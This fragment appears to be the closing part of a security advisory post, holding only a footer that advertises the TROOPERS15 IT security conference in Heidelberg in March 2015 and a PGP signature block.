Conference: www.troopers.de || ============================================================== ================== TROOPERS15 ================== * International IT Security Conference & Workshops * 16th - 20st March 2015 / Heidelberg, Germany * www.troopers.de ==================================================== -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBAwAGBQJU5KMNAAoJEHq2kn1vJmzgroMIAIsvJOdkZLSIjp1bdczg7NFP YBcVZNXXd7H2LES/bH20wGHMEke2YfL97CfjBk5R1OpBaialTHHi/HrzqbnWft2x x+u7rOdG0Q+aAAakoBpO7wG1B97+bmXnR6ytgFtxgJO+dfWWwAxhjsqjQ0boRgMr bzhFkHznlUV2s89n6vEBG2qnowSNqJgnWpbkyekCyISF87bh4nfuNDoj40+aCCNa Iw3AO8S2bvgVqY980hovoCsW94764/65mVMr2dvTlQx3tR1zTra2km8yq0IOtdIs AJ8dicIAN0EDuGQKFtLbxkShh4E9spXeQlFRmz1kLa76PELHzJWnyhKUB4o+uds= =tnwW -----END PGP SIGNATURE----- Source
×
×
  • Create New...